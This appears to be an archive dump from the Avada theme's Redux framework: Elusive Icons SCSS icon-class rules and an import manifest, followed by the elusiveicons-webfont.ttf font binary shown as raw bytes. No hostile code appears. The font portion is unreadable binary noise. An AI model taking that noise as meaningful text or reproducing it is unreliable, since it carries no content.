$el-var-random; } .#{$el-css-prefix}-icon-record:before, .#{$el-css-prefix}-record:before { content: $el-var-record; } .#{$el-css-prefix}-icon-reddit:before, .#{$el-css-prefix}-reddit:before { content: $el-var-reddit; } .#{$el-css-prefix}-icon-fusionredux:before, .#{$el-css-prefix}-fusionredux:before { content: $el-var-fusionredux; } .#{$el-css-prefix}-icon-refresh:before, .#{$el-css-prefix}-refresh:before { content: $el-var-refresh; } .#{$el-css-prefix}-icon-remove-circle:before, .#{$el-css-prefix}-remove-circle:before { content: $el-var-remove-circle; } .#{$el-css-prefix}-icon-remove-sign:before, .#{$el-css-prefix}-remove-sign:before { content: $el-var-remove-sign; } .#{$el-css-prefix}-icon-remove:before, .#{$el-css-prefix}-remove:before { content: $el-var-remove; } .#{$el-css-prefix}-icon-repeat-alt:before, .#{$el-css-prefix}-repeat-alt:before { content: $el-var-repeat-alt; } .#{$el-css-prefix}-icon-repeat:before, .#{$el-css-prefix}-repeat:before { content: $el-var-repeat; } .#{$el-css-prefix}-icon-resize-full:before, .#{$el-css-prefix}-resize-full:before { content: $el-var-resize-full; } .#{$el-css-prefix}-icon-resize-horizontal:before, .#{$el-css-prefix}-resize-horizontal:before { content: $el-var-resize-horizontal; } .#{$el-css-prefix}-icon-resize-small:before, .#{$el-css-prefix}-resize-small:before { content: $el-var-resize-small; } .#{$el-css-prefix}-icon-resize-vertical:before, .#{$el-css-prefix}-resize-vertical:before { content: $el-var-resize-vertical; } .#{$el-css-prefix}-icon-return-key:before, .#{$el-css-prefix}-return-key:before { content: $el-var-return-key; } .#{$el-css-prefix}-icon-retweet:before, .#{$el-css-prefix}-retweet:before { content: $el-var-retweet; } .#{$el-css-prefix}-icon-reverse-alt:before, .#{$el-css-prefix}-reverse-alt:before { content: $el-var-reverse-alt; } .#{$el-css-prefix}-icon-road:before, .#{$el-css-prefix}-road:before { content: $el-var-road; } .#{$el-css-prefix}-icon-rss:before, .#{$el-css-prefix}-rss:before { content: $el-var-rss; } .#{$el-css-prefix}-icon-scissors:before, .#{$el-css-prefix}-scissors:before { content: $el-var-scissors; } .#{$el-css-prefix}-icon-screen-alt:before, .#{$el-css-prefix}-screen-alt:before { content: $el-var-screen-alt; } .#{$el-css-prefix}-icon-screen:before, .#{$el-css-prefix}-screen:before { content: $el-var-screen; } .#{$el-css-prefix}-icon-screenshot:before, .#{$el-css-prefix}-screenshot:before { content: $el-var-screenshot; } .#{$el-css-prefix}-icon-search-alt:before, .#{$el-css-prefix}-search-alt:before { content: $el-var-search-alt; } .#{$el-css-prefix}-icon-search:before, .#{$el-css-prefix}-search:before { content: $el-var-search; } .#{$el-css-prefix}-icon-share-alt:before, .#{$el-css-prefix}-share-alt:before { content: $el-var-share-alt; } .#{$el-css-prefix}-icon-share:before, .#{$el-css-prefix}-share:before { content: $el-var-share; } .#{$el-css-prefix}-icon-shopping-cart-sign:before, .#{$el-css-prefix}-shopping-cart-sign:before { content: $el-var-shopping-cart-sign; } .#{$el-css-prefix}-icon-shopping-cart:before, .#{$el-css-prefix}-shopping-cart:before { content: $el-var-shopping-cart; } .#{$el-css-prefix}-icon-shortcode:before, .#{$el-css-prefix}-shortcode:before { content: $el-var-shortcode; } .#{$el-css-prefix}-icon-signal:before, .#{$el-css-prefix}-signal:before { content: $el-var-signal; } .#{$el-css-prefix}-icon-skype:before, .#{$el-css-prefix}-skype:before { content: $el-var-skype; } .#{$el-css-prefix}-icon-slideshare:before, .#{$el-css-prefix}-slideshare:before { content: $el-var-slideshare; } .#{$el-css-prefix}-icon-smiley-alt:before, .#{$el-css-prefix}-smiley-alt:before { content: $el-var-smiley-alt; } .#{$el-css-prefix}-icon-smiley:before, .#{$el-css-prefix}-smiley:before { content: $el-var-smiley; } .#{$el-css-prefix}-icon-soundcloud:before, .#{$el-css-prefix}-soundcloud:before { content: $el-var-soundcloud; } .#{$el-css-prefix}-icon-speaker:before, .#{$el-css-prefix}-speaker:before { content: $el-var-speaker; } .#{$el-css-prefix}-icon-spotify:before, .#{$el-css-prefix}-spotify:before { content: $el-var-spotify; } .#{$el-css-prefix}-icon-stackoverflow:before, .#{$el-css-prefix}-stackoverflow:before { content: $el-var-stackoverflow; } .#{$el-css-prefix}-icon-star-alt:before, .#{$el-css-prefix}-star-alt:before { content: $el-var-star-alt; } .#{$el-css-prefix}-icon-star-empty:before, .#{$el-css-prefix}-star-empty:before { content: $el-var-star-empty; } .#{$el-css-prefix}-icon-star:before, .#{$el-css-prefix}-star:before { content: $el-var-star; } .#{$el-css-prefix}-icon-step-backward:before, .#{$el-css-prefix}-step-backward:before { content: $el-var-step-backward; } .#{$el-css-prefix}-icon-step-forward:before, .#{$el-css-prefix}-step-forward:before { content: $el-var-step-forward; } .#{$el-css-prefix}-icon-stop-alt:before, .#{$el-css-prefix}-stop-alt:before { content: $el-var-stop-alt; } .#{$el-css-prefix}-icon-stop:before, .#{$el-css-prefix}-stop:before { content: $el-var-stop; } .#{$el-css-prefix}-icon-stumbleupon:before, .#{$el-css-prefix}-stumbleupon:before { content: $el-var-stumbleupon; } .#{$el-css-prefix}-icon-tag:before, .#{$el-css-prefix}-tag:before { content: $el-var-tag; } .#{$el-css-prefix}-icon-tags:before, .#{$el-css-prefix}-tags:before { content: $el-var-tags; } .#{$el-css-prefix}-icon-tasks:before, .#{$el-css-prefix}-tasks:before { content: $el-var-tasks; } .#{$el-css-prefix}-icon-text-height:before, .#{$el-css-prefix}-text-height:before { content: $el-var-text-height; } .#{$el-css-prefix}-icon-text-width:before, .#{$el-css-prefix}-text-width:before { content: $el-var-text-width; } .#{$el-css-prefix}-icon-th-large:before, .#{$el-css-prefix}-th-large:before { content: $el-var-th-large; } .#{$el-css-prefix}-icon-th-list:before, .#{$el-css-prefix}-th-list:before { content: $el-var-th-list; } .#{$el-css-prefix}-icon-th:before, .#{$el-css-prefix}-th:before { content: $el-var-th; } .#{$el-css-prefix}-icon-thumbs-down:before, .#{$el-css-prefix}-thumbs-down:before { content: $el-var-thumbs-down; } .#{$el-css-prefix}-icon-thumbs-up:before, .#{$el-css-prefix}-thumbs-up:before { content: $el-var-thumbs-up; } .#{$el-css-prefix}-icon-time-alt:before, .#{$el-css-prefix}-time-alt:before { content: $el-var-time-alt; } .#{$el-css-prefix}-icon-time:before, .#{$el-css-prefix}-time:before { content: $el-var-time; } .#{$el-css-prefix}-icon-tint:before, .#{$el-css-prefix}-tint:before { content: $el-var-tint; } .#{$el-css-prefix}-icon-torso:before, .#{$el-css-prefix}-torso:before { content: $el-var-torso; } .#{$el-css-prefix}-icon-trash-alt:before, .#{$el-css-prefix}-trash-alt:before { content: $el-var-trash-alt; } .#{$el-css-prefix}-icon-trash:before, .#{$el-css-prefix}-trash:before { content: $el-var-trash; } .#{$el-css-prefix}-icon-tumblr:before, .#{$el-css-prefix}-tumblr:before { content: $el-var-tumblr; } .#{$el-css-prefix}-icon-twitter:before, .#{$el-css-prefix}-twitter:before { content: $el-var-twitter; } .#{$el-css-prefix}-icon-universal-access:before, .#{$el-css-prefix}-universal-access:before { content: $el-var-universal-access; } .#{$el-css-prefix}-icon-unlock-alt:before, .#{$el-css-prefix}-unlock-alt:before { content: $el-var-unlock-alt; } .#{$el-css-prefix}-icon-unlock:before, .#{$el-css-prefix}-unlock:before { content: $el-var-unlock; } .#{$el-css-prefix}-icon-upload:before, .#{$el-css-prefix}-upload:before { content: $el-var-upload; } .#{$el-css-prefix}-icon-usd:before, .#{$el-css-prefix}-usd:before { content: $el-var-usd; } .#{$el-css-prefix}-icon-user:before, .#{$el-css-prefix}-user:before { content: $el-var-user; } .#{$el-css-prefix}-icon-viadeo:before, .#{$el-css-prefix}-viadeo:before { content: $el-var-viadeo; } .#{$el-css-prefix}-icon-video-alt:before, .#{$el-css-prefix}-video-alt:before { content: $el-var-video-alt; } .#{$el-css-prefix}-icon-video-chat:before, .#{$el-css-prefix}-video-chat:before { content: $el-var-video-chat; } .#{$el-css-prefix}-icon-video:before, .#{$el-css-prefix}-video:before { content: $el-var-video; } .#{$el-css-prefix}-icon-view-mode:before, .#{$el-css-prefix}-view-mode:before { content: $el-var-view-mode; } .#{$el-css-prefix}-icon-vimeo:before, .#{$el-css-prefix}-vimeo:before { content: $el-var-vimeo; } .#{$el-css-prefix}-icon-vkontakte:before, .#{$el-css-prefix}-vkontakte:before { content: $el-var-vkontakte; } .#{$el-css-prefix}-icon-volume-down:before, .#{$el-css-prefix}-volume-down:before { content: $el-var-volume-down; } .#{$el-css-prefix}-icon-volume-off:before, .#{$el-css-prefix}-volume-off:before { content: $el-var-volume-off; } .#{$el-css-prefix}-icon-volume-up:before, .#{$el-css-prefix}-volume-up:before { content: $el-var-volume-up; } .#{$el-css-prefix}-icon-w3c:before, .#{$el-css-prefix}-w3c:before { content: $el-var-w3c; } .#{$el-css-prefix}-icon-warning-sign:before, .#{$el-css-prefix}-warning-sign:before { content: $el-var-warning-sign; } .#{$el-css-prefix}-icon-website-alt:before, .#{$el-css-prefix}-website-alt:before { content: $el-var-website-alt; } .#{$el-css-prefix}-icon-website:before, .#{$el-css-prefix}-website:before { content: $el-var-website; } .#{$el-css-prefix}-icon-wheelchair:before, .#{$el-css-prefix}-wheelchair:before { content: $el-var-wheelchair; } .#{$el-css-prefix}-icon-wordpress:before, .#{$el-css-prefix}-wordpress:before { content: $el-var-wordpress; } .#{$el-css-prefix}-icon-wrench-alt:before, .#{$el-css-prefix}-wrench-alt:before { content: $el-var-wrench-alt; } .#{$el-css-prefix}-icon-wrench:before, .#{$el-css-prefix}-wrench:before { content: $el-var-wrench; } .#{$el-css-prefix}-icon-youtube:before, .#{$el-css-prefix}-youtube:before { content: $el-var-youtube; } .#{$el-css-prefix}-icon-zoom-in:before, .#{$el-css-prefix}-zoom-in:before { content: $el-var-zoom-in; } .#{$el-css-prefix}-icon-zoom-out:before, .#{$el-css-prefix}-zoom-out:before { content: $el-var-zoom-out; } lib/inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/scss/elusive-icons.scss000064400000000656152342437710031666 0ustar00Avada/includes/*! * Elusive Icons 2.0.0 by @FusionReduxFramework - http://elusiveicons.com - @fusionreduxframework * License - http://elusiveicons.com/license (Font: SIL OFL 1.1, CSS: MIT License) */ @import "variables"; @import "mixins"; @import "path"; @import "core"; @import "larger"; @import "fixed-width"; @import "list"; @import "bordered-pulled"; @import "animated"; @import "rotated-flipped"; @import "stacked"; @import "icons"; inc/redux/framework/FusionReduxCore/assets/css/vendor/elusive-icons/fonts/elusiveicons-webfont.ttf000064400000234570152342437710033257 0ustar00Avada/includes/libpFFTMnbdOS/2JKh `cmapxBcvt - fpgmo9- lgasp-|glyf\head16hhea R5P$hmtx!Q trlocaںlmaxp T name=stpost!` prepk8{=vJvJ H H@;6 PfEd23l3~ < 2(h *@'^RVJ+3!%3#(@ (3 6j@g1'G    m  ^R ^   ^^RXL! 0/-+)( 6!6  6+  $!;5#535#535#535+23+=37.546F졡g KIIIIIIIIK-|}93졡Fg`wAwBwAwu-. KhhK .(93)$GK PX@9    m  c `^^RWK@:    m  k `^^RWKY@#" ))10 +!;#3#3#3+!"#!=#'>54&Y/P/5+],4e3utu.P/2SS2He 3#'+/@ o   _  ^R_^R_^RVJ(( /.-,(+(+*)'&%$ # #"!+33!5333!5333!53!53#!53#!53#hhhiihh3ҟ-ў,ҟ3D<222B33:333 "@`TXL+  $"3F졡srrs3졡Frr"3->@;!G`TVJ(' -,+.'>7#.!&#&>3]ea2Y@%Bn>d>"  / ?xMSbd'@W0Bn@23Vj9D D qPU 6@3^^^RVJ+!!!!!!!!#jNk$Pвa`a 6@3^^^RVJ+!!!!!!!!PPPPвa`a R@O^ ^ ^ R VJ       +!5!5!5!5kM%Pв 6@3^^^RVJ+!!!!!!!!EkM%+Pвa`a-3@Dof+3!3X+}&@#GEDRVJ+!!P&@#GEDRVJ+ 5!!5A+-3@Eof+ #!#XP3A3:K^X@U5GF>%.Goo T` YMML<;L^M^DB;K#!.'&>67>7>722#&'46766.'&676(# 1?LHB"4O.-#;&6N7@ ** A#/?I56/  3 1%+ , 32,r#G:-EAJQ_TTS:"(%+'(D # 9$*|&!#/4&6"'E#*  (1@  Df+3% '%7DZZDDщggщ3-+s"3!P!X   -+$&6$1. >&QQQQ5W͛A >W͛A QQ55Q> AW > A  #'+W@T  R  V  J+*)('&%$#"! +3#3#3#3#3#3#3#3#3#3#3#dd:LL v#cc22 X!!w"dd3?KT` GKPX@S  ee` ` `  ^  ^ `TVJ@T  me` ` `  ^  ^ `TVJY@2ML`^WUQPLTMTKIB@8742/.+)??"+!!!6767&'&'56765&'&#35"36767##"'&5!4'&'&'&32+2#6763+P69%&&#$&3v-%$5&'/_0/ 2% %$e e,p  p3P$(;:!   37$#TTm N35''3 '*F ")L*'   e  3-@* G^TXL7+3#!#57>72"&4 {${+H44H43Jǂ77?I3I33I'3 A2@/?87+GpTXL'&  +2"&46>''&/"&''.?'&?47!7EcFF2\"*~ 6B!%=q2'! ?! 0*3 7 2EEcF% !& k C9" &-  3*8I@F Gm^^^TVJ' +!!7%>75.'6'.3#.>%.46P2P51I, ,/ d$((#%((V$#&*(3P+L1vs#+<3i%8*EIa)/*)/* $ -5.3(D@AG` `TXL  ( '#!", +!2)53#!327654'&#32654&#KJrgBA@?gq3j??UTal23gi/0 z . -+ &47>Bk$ZCjej(,: /"v:^%#@3 '@$ DRVJ  +! 5 K##3qnqV#3@Df+! 53qnq2~ KPX@A e  m^   _ ^ R ^ V  J@Bm  m^   _ ^ R ^ V  JY@   +!!!!53!!!!#2@@[@@@[[|[[|[|[{3  (0;<@9  ` `TXL97430/#%% +$"&54>32#"&4632"&462"&462"&462"&4632W|W(E(>W(7>WW>)D(W|WW|5W|WW|WW|WW|WW|WW>(E(V|WW>(E(.8'W|W(E|WW|W#|WW|Wl|WW|W.>WW|W(E KPX@2  e ^R^ R W K@3   m ^R^ R W KY@    +!!!5#!!7!5!35!!>4>v>WvPddQQQjaa34 -+'&'&67&'>&&'>7'&'>76&7>Fjf !-1+Pj4? !)6I+A   #$8) Tp:oJc'b]!43jf4!eZkW*=l&M4C (% (7!U0(3;I*0-! 3"@ Gof+'>&'>*.kRppY۠̃+9GXpA0??3@J;})A;%/377408xO@L GF`^^RVJ   +2#4%"34.1!!!!8`9tt9`~YYO&77Y5:(EV*V-3:@7.10 3GDT`XL,)$"+1.'&'.67#.'5>3!6$." $<'Ka) 2#^b +9<'FAv!-%//) *9DjG Wb`$ 6IaZ*='+; '63 #FO_@NKM+GK PX@heme ^ ^  ^``^ a  R X LK PX@beme ^ ^  ^`` a  R X LKPX@heme ^ ^  ^``^ a  R X LKPX@beme ^ ^  ^`` a  R X LKPX@heme ^ ^  ^``^ a  R X LK%PX@imme ^ ^  ^``^ a  R X L@jmmm ^ ^  ^``^ a  R X LYYYYYY@D%$  JIHGDCB@>=<;754320$F%F # #"!  +  $35!35!5##5##5!#"533674'5&##>3#556F졡?(?SЗSf, $:"^7!)$?%6615$*3졡F=vvvv9jjjjq" 4&U*++%(#'( 0@p3=F@C@ A 7GK PX@\e  ee^  _   ``  ^` T W  K@]m  ee^  _   ``  ^` T W  KY@.>>>F>FED1/.-+)%$#" ==+3#%3#%335!353!!!3467'2"&'#32767.'676'.673 cc9ccJ0=VV2c:AW7-.1,9E,D:0S3bEV@=?;D ,E%%%<)6 &"5$'+L)I@F  m` ^  `TWK +!!!! "2>4&7352"&4%QPaVZZ[[hŋŌZ[[ccŋ![@X Gp   ^ R   ^  R V J!! !!+!;##5!##5;!5%7!5Lv00vt=,=CGp\``N\X[G\FF\G[[@ Df+!JcM3-+ L}XXdL3-+ d3@Ef+ XX4]@ZED  op T ^ X L10/-*('&$"44 +%"3267##"&46323.!"3267##"&46323.XX~aaEqr(9:RR:9(rq@k??k@Eqr(9:RR:9(r?Suuu‰I<'RtR'..F졡rI1[;! $ J.3졡Fw G[l.ZM3[z'@ Ef+6!.>>-R7!"",;KU0 PTYWSK=. :OQR+a[YJ>" 5L&#:GW3 3;T@Q0/.-*)&%$#G^`RXL 9854 3 3 +  $'737677'6?5'&'7'&/2"&4F졡~ "VQF oo FQV" r "VQF oo FQV" eX>>X>3졡FIo FQV" r "VQF oo FQV" r "VQF o>X>>X3'/D@A%$#" G`TVJ-,)(+37'#'&''7&/5767'767"26472tt2781tt18eee3t2781tt1872teee'5]e@[Z;: YX=< khgfUTA@mljQD pPNGE~wtOFG%$#" E|{zvuD om   mkk` TVJ)(rqcb_^KJ76(5)5  +7#''5&''7&/767'767"676.'&37'#'&''7&/5767'767"2647#''5&''7&/7367'767">&'"UE6; Q S -B;UE6; Q S -B;-)A3"u #XRH qq HRX# u #WSH qq HSW#rY??Y@<0&)9: .) <0&)9: .* .$ S -B;UF5; Q S -B:UE6; t) 3)!&q HSX# u "XRG pp GRX" u #XSH ?Z??ZQ< !0+ >3'+;< !1* >3'+U%0%9@6D^^RVJ$!#! +!!5#;+'%!7;=;#0R..G .$'9.-S-[].@DRVJ+!!5#~  -+&6$ ' #QQ55QQVA55QQQV !@ Ef+&6$2676&$'%#QQ55QQHKcGGdJNA55QQQJNNJd  GGcKrMi 2@/^^RVJ  +!!!!7!5LLhrQ%U@yK+ c2GDK PX@Am p  `  T  `^ X LK PX@Gmk p  `  T  `^ X LK PX@Am p  `  T  `^ X LKPX@Gmk p  `  T  `^ X L@Am p  `  T  `^ X LYYYY@2WV'&~|znlhgVWRQNLFE><8753&U'U#" %%+!%"72>7#.74&>7>34&%"#"&7#32>7.'".'47235."'&7#3267&'&'.'47234&CZRJ 3(Z9 ']O,)Y#+\,2 -'3'([P $#Y$?\,2 9L?$([Ma/SIDZ2"5(  )?B (E  , +"+  // "E , 28# 20Fp#.6;H@E7;8G p`T`X L:943# +2#654."#&54>2"&42#".54$2"&4#5ޡ_&4GyyG4&_9>,,>,>,,#>,,>,;vp_zmebp[xHHx[pbemzޡ,>,,>,?+",,?++?h;;3"@^RVJ+!)!XXX3#;Tl@b1  TXP'[*GKPX@M   e ^  ``^ R V J@N   m ^  ``^ R V JY@>UU$$zyxwvtnmUlUldcZYWVSRONIHGFEC=<$;$;32)(&%##+#>7!#!>7!6'.56!545.$#36'5'&6'.56!545.$#36'5'& 6T8f\<?;[c;V7! F37ETX\*_lK(:*\VTD66JF37ETX\*_lK(:*\VTD66J%.F@)D ?LaV.-T_J</ +BH0<[4$ 2(?TmAO> "3X:<[4$ 2(?TmAO> "3X:59=AE/K PX@je!  ^  ^#^R^$"^   ^ ^ R W  K@km!  ^  ^#^R^$"^   ^ ^ R W  KY@L::66EDCBA@?>:=:=<;696987554320/.-,+*)('&%$#"! !1%+##!#5#33533;!#!#33!5335#535#5!;5!!53!#3#5;#53cKMLMMMKB&MHLMHt\KKMMF%HLېLM,HH,HL3 2@/GooRWK  +5!!! !P5%23 %K@H"Gmk`TYM %%$#!    +  $2>54."3%3F졡MsW0K~~KK~Փ3졡Fs0WsM`~KK~~K 3 *:>IMVe@b# +'7)UQNLHEA2Gm``TXL@? TR?I@I-,   +  $%"67.67.6&>7.4">7&6327&F졡>;jWWFm$-9^5RE?!bzqG4/'Xtnp^Fi_'3졡FJGs=D13w>;D)U~@j! (!$aGaE=kT= w8YT;j +ql)3 L@I GE^^RVJ#"+!!)7)''2#56~XM$H71'/3X~M$HE%-="@EoRVJ+ !!!XXPPyr3 :@7 G^RXL   +  $%57%%!'F졡33ʜafl3졡FVVZZ> )@&  GRVJ+!  7!2PVlA0xxg3 (@%^RXL  +  $!F졡$&3졡FB3 #5@2`^TXL #"!   +  $"32>4.!!F졡GkQ,,QkGYuEEuh~3졡F,QkkQ,EuuE3+V@S& 'G  `  ^^TXL+*%# #! +"!!!!327#"&'#53&57#5367632&'&#b@?D)sj]!n_^kėO8004l99k&./ֽ *qqB 3 4@1^`TXL   +  $73"3264F졡^^kL#;#6K3졡F+k>K6#;#Lk+9?K@H?:821+ #GED`TXL-,,9-9'$" +7'7&'&'&'676767#"'732654/"7&546?&lbfK}WLF_u# }WLF_u'2u7u7: Q=: Q=!<@<@ZW-:J`:IE?[W-9K`:IVpYGopYGe>_ e=_ sC'<@9G``TXL %$!  +"&462'#&'&'&'67676"264 jiiJ}WLF_u}WLF_uꦦ#ffeG@ZW-:J`:IG@ZW-:J`:IY3B@?Gm `^RWK$ +!!"#3337#5>37&#&P_'voo `G$3P .Yp  '@$GEDRVJ+!!^y^y3 +@( GRVJ +3 }  3 ,@) GRVJ +# 3P&  L  &3$7@4G`T^VJ+23##5#535.546"2>54ұgQYgz>k~k>3gh]l||Ռh2`@k>>k@`3 B@? G^^RXL    +  $353#!F졡Pv63졡Fq&]n3 "@ "! GK PX@(e^_RXL@)m^_RXLY@  +  $!5!35!7'5F졡(Bk};!z=[3졡F@;Gm^RVJ+!7!#!57!7p'6]:Ei/3'7^:ܭi/3 $ GK PX@Dek   m^  _   _ R XL@Emk   m^  _   _ R XLY@  $$#"!   +  $!5!35!35#33535#5F졡 bt>Yq3졡F==n֒qq3 S@P Gmk^R  ^RV J +!#!#!!33##5#53piE3_9h3 *@'G^RWK+3!5%!!!L3JP) Fj3 #'+/3;KPX@dee^   ^    ^!^ #" ^%$^RWK@eem^   ^    ^!^ #" ^%$^RWKY@d00,,(($$  030321,/,/.-(+(+*)$'$'&% # #"!     &+!!35!35!35!3535!35!35!3535!35G"6BJBJ3Phcccc cccccccc} acccccccc3@Df+!`3`lJ39 -+.7>767>'>.'6&/~z =2]n +pWM 1@=.@d+1lK*  }eҊ595V6r+_eO/r1 2Ray|9Tŷ4C^ZZSj+*<&>Sc3 6@3GmnTXL   +  $"3667.F졡KJZ7_]PQHM#67.#LxyL1hehnn|{G,$ #1/-1}12,2-3'@$`TVJ+!!"2>54$"264P:5410&$! +&'&67+"&=#&'&'6767254#"&/&767>%3+"/#+&76;2D#"\c< y :KO7=;:LP5\H:0 ,91khU  **&I!7e{  ,3=]e70*%X<R +! 8*3"8#@ 1G8"Dof76+7354767>7>=33 354.'&'>7673*N9%\/. *'=}&0D !\N?$NXM8?!! !2^#,U0  D 40#MX3 #@  GTXL+  $%7%F졡,K,3졡F>>3-+="X}!!3 B@;8# )G-FKPX@@ e  m  m `  `  `TWK@A  m  m  m `  `  `TWKY@A@430."3' +!'&"&'&'&'2764'%!3+"/*1#"&46227R+MkZCK >H^+ P, #Pqqq3RT8F`gHN, rrrP'#*3GK PX@-dJeWKB{6 5 " . GFK PX@-dJeWKB{6 5" . GFK PX@-dJeWKB{6 5 " . GFK PX@-dJeWKB{6 5 " . GFKPX@-dJeWKB{6 5" . GFKPX@-dJeWKB{6 5 " . GFKPX@-dJeWKB{6 5 " . GF@-dJeWKB{6 5 " . GFYYYYYYYK PX@Rm  m  ke`` R     ^TWKK PX@Sm  m  ke``    ^^TWKK PX@Mm  m  k`` R     ^TWKK PX@Rm  m  ke`` R     ^TWKKPX@Sm  m  ke``    ^^TWKKPX@Rm  m  ke`` R     ^TWKKPX@Mm  m  k`` R     ^TWK@Rm  m  ke`` R     ^TWKYYYYYYY@+IHzyxwvutsrqponmYXRQHI=;0/%# GG+!!"&73>7>75.'23>7'6&'&6.'&6<>76&'&3#'##''45>76P)H<`Tzs    ~F A ' .4Q&E    *_J= zzBH + 3P # sb(&5    dT  G b P&- M_   C ,(  d $'Ykse ("3I:K PX@&HqM~pW  43'GK PX@&HqM~pW  43'GK PX@&HqM~pW  43'GK PX@&HqM~pW  43'GKPX@&HqM~pW  43'GKPX@&HqM~pW  43'GKPX@&HqM~pW  43'G@&HqM~pW  43'GYYYYYYYK PX@Mmm  k   m T   ^  ^ a WKK PX@Nmm  k   m ^  ^  ^ a WKK PX@Fmm  k T   ^ ^ a WKK PX@Mmm  k   m T   ^  ^ a WKKPX@Nmm  k   m ^  ^  ^ a WKKPX@Mmm  k   m T   ^  ^ a WKKPX@Fmm  k T   ^ ^ a WK@Mmm  k   m T   ^  ^ a WKYYYYYYY@)KJ}|gfedcba`_^]\[ZJK*)&$ II+2"'#&'/.'.74>7>766"''33735#464>7&'5>6'&v*nH>   "5 Z #`"    Fr?Q) 1#aY )S$e%9$ )! ^3>4m", !A r     %@*+ +i(, %)z,+$  +*%7';\  32@/ GRVJ+! '!' 7!7 ! LLLfbL3LfbLLL R^ #@^    ^ R V J   # #"!     +!3!3!!3!3!!3!3!S}}}}}}   y   y   3!@@=G`^RVJ# +2&#"!!!!5676=#5354763L]?""0zES \]3B3$$Ct?#./PvXX:v3 $m@j Em ^  ^ R VJ!!!$!$#"  +!#!#!'7'7%!5!!5!K\KT{re$9lCN T} 0#-`n)9I37?_?;ya[\&EDFCQ..)993 l@iy&  - p]@EG  m  kk kk`TXLfdSRML97 +  $$"2>4.6>7"'&=4&''.=#&54>7>=&'&>7676&7&'&'&'&767>7.'.767&F졡$ƏUUƏUUL;uD3 74A.G (   $ * !@*) >  L`&3졡F`UƏUUƏH1  #E8_Jd$%e   p( 2 p  O %" 3  (+8#; (@% GoRWK+!3!53ι kk./@,G^RXL66+!!%!!#!&'&#!.'&7%6!%.7>_}29~8 " =/?<"   '  3   || 3 @ s f a ܜ_\WU& 92 Gm  k  kk   k  k  k  k`TYM xwqponed43  +  $%"376."67>746767>7654&'.'.'&'&76&&'7>'67>5256767676'"4#67&'&"&'&'.'&'&676.6276767676'6547>76'&/>754&F졡IB S) !: *\DZ >` 1+  & D(        +^ $ T# " $5   ! &V3졡F [4X"%  ++  u   ' %/  A  %"  %           #+  $   5 "     j3 @ "%Ơ6.c@?fḋrqm]Y GmkkkkknTXLºCB;9$# +  $62'.'2367667>7&'&'.'&4656&'&74&+"'&764767>7&'&'#&'.67>767>767&'.'&#"&>7.'&65.'&'.F졡"KA2 0       ! * # wQ<>. "  6   $ ""S &-,/ 2 !$,Z #V .  8) !3졡F4;    !2   *   LX@V    % !" 9   $A*&   ''   &  @?W$v!T   3*>KZu@r*A? WK G  m k k  ` R `  T W  KML,+VULZMZHE+>,>(&%$+!#5##3353!6'&'&'&'>76765&'&'37!"76&'&'&76767#%2!5676``E!Z. D+%-jcY68*Q .(ZL Dk"#$/?Q)w@=ob3\XEE;F!* 5.?WO?()O74. Ev]=#4 ;lSPF! PQ8 R8; E3 'E@B'%#! G^^RXL   +  $!!!//7??F졡ZZ*!IW,>&@+!z3졡FUJX73s H44( %d\:89@6  G^RVJ+!!!//'??Pf70Ko(3BkK*&48.Hth1:`d?6EYZ|#(6Y_3 /Kg[@Xc_RNJD95' G  mk`TXLML10 \[LgMg=;0K1K / / +  $3!>4=4/676'.;546?67.5467&!"3>754/67.F졡+> -v  r0, &,52 XY o & Z 173졡F9(78$6n  n7>$$%2E*G=i n# ) 7&$%;0   #n i>$A-D?w ;U@TQC51&# GKPX@&cmTYM@%omTYMY@=<"!KI#".'54?.'676%#5&/&'>'6UMn+I wD-2V%&); &*,*  1 "P! 6$F@!N9k ](~&c_ $'098 *2 :+0  *+   &?&jM  Q ~"$ *@E- &0|"6 !"% ^Q3.aO@L`L?<9 Gm^TXL///a/aFD#"..+!'#"&'5&''.>75>777>54>5676'.'.'.'5!+44LA>+\pT??W&Q>7L$-   ;*ND*!*L@D=))A/J;3-21 0]M 6BDV]= 5)>UWdST!,@DPLJ;*  :r:!*,?:# A=#1f\@Y]Z Gommpa `  T  Y M222f2fWSMH*%(3 +%#.'&7&'#.5467$&7>3#.'.'.'&"#"23>#HIVQPC5!5 =]VDB6 2@I" Z"#=A #:? *!:r:  *;JLPD@g"  &G1>Q&W??Tp\ 5ALb#a;J/A))=D@L *DN*;   -`H@E;8!Gmm``TYM`_TO<%.$+5>73>767>766#.'#.%>'>'>'263>7.#".#>&'&#"Z C 6BDV]= 5)>UWdST!,@DPLJ;*  :r:!*,?:# A=#g#bLAAC\pT??W&Q>7L$-   ;*ND*!*L@D=))A/J;^F32eK@H\YVJ5+*Gm`RYMQO43 22+"&'5.>76675>326!5>7>7>76'.454&'&&&-$L7>Q&'8 ?Tp\CAALb  a ++6/A))=D@L*!*DN*;   },!TSdWU>)5 7+VDB6 C Z  4$2 #D%M,*!:r:  *;JLPD@ ;@8G^`RVJ   +!!!2"&4``^ArA(({w;P''0@>@; G`TXL31" ;81@3@+( 0"0+%4.".'4>2.%32+"&546!32+"&546GyyG05,_ޡ_05,L  LgLL,[xHHx[&$',zޠ``z&$'  ww3 6~m@jsP Go  m m  k  m   ``  T X L87vupnUTML7~8~%%%'+&'&4?6262&'&47.##.56763#.#.'&7>767656&4767>767>765&'&##.5>7>4663L2!$1 49JN56UK248 %) #?J  $     ENcjGI!"926!5787 $12! Q464:K:27G>N3012A/Y%!  17/1 * '%-kGIFNd""L3493 &+@(GpTXL & &+  $".>767>'.F졡<%$$/=, 8 ]"E,'Y3졡F : 5/>g F!:=4{D17<d]@Z7_^B.- T GDmknTXL>==d>d65'&<<+601"1#'&'.'#./5.6?6 6?6'.167676?675>'.@Ij 91P|?I*   ")Bit^ (0>pg&.HL463#)++9+!\"  'G;tI=)"2aCTBnj;8  2Xnw<S@`Y#i.54603-B67cdRhHO"@ Df +.'.'.67>67>2%T(jl%3Fsyb!'.9K:0EEyd9>xn1tq%XK)5`t|#.[3 /@, GooRYM+  $ 3533F졡ʶ3졡Fs\8x3@Eof+ !!!X3Z+ gI3;qP@MxrfL.G^^^RVJ<<~ut7&'.6765!45<.'&/7>&'>7#.!&6m5l5 #A,1E! 55+&N$1E! i !.%%B'* !C/%%B'*gLL3^W:>3%75F}TR35Hb%1& (=+1@& '3!&^C553j3@-1 K#1A& &4 '^B44+D. (,%%>!*+%?F44,C. (=/%%>!**%?F4   4&5B(,E3%.\/fDFf 3 #'+/37{@x/.-,+*)('&%$#"! G ^` ^   ^RXL4400 474765030321   +  